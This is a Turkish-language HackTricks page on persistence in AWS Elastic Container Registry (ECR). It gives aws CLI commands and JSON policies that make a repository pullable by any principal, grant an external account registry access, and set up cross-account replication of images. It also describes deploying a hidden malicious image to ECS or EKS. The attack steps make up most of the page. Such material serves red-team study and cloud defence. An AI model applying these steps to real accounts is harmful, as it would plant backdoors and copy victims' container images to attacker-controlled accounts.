AWS - ECR Persistence

Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları:

ECR

Daha fazla bilgi için kontrol edin:

pageAWS - ECR Enum

Zararlı Kod İçeren Gizli Docker İmajı

Bir saldırgan, zararlı kod içeren bir Docker imajını bir ECR deposuna yükleyebilir ve hedef AWS hesabında kalıcılığı sürdürmek için kullanabilir. Saldırgan daha sonra bu zararlı imajı Amazon ECS veya EKS gibi hesaptaki çeşitli hizmetlere gizlice dağıtabilir.

Depo Politikası

Bir depoya erişimi kendinize (veya herkese) veren bir politika ekleyin:

aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json

# With a .json such as

{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

ECR'ın, kullanıcıların herhangi bir Amazon ECR deposundan görüntü itme veya çekme işlemi yapmadan önce bir ecr:GetAuthorizationToken API'sine çağrı yapma iznine sahip olmalarını gerektirdiğini unutmayın.

Registry Politikası ve Çapraz Hesap Replikasyonu

Harici bir hesapta bir kaydı otomatik olarak replike etmek mümkündür, çapraz hesap replikasyonunu yapılandırarak, replike etmek istediğiniz harici hesabı belirtmeniz gerekmektedir.

İlk olarak, harici hesaba kayıt üzerinde erişim vermeniz gerekmektedir, bunun için bir kayıt politikası gibi bir politika vermelisiniz:

aws ecr put-registry-policy --policy-text file://my-policy.json

# With a .json like:

{
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}

Ardından replikasyon yapılandırmasını uygulayın:

aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
--region us-west-2

# Having the .json a content such as:
{
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
}
Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Last updated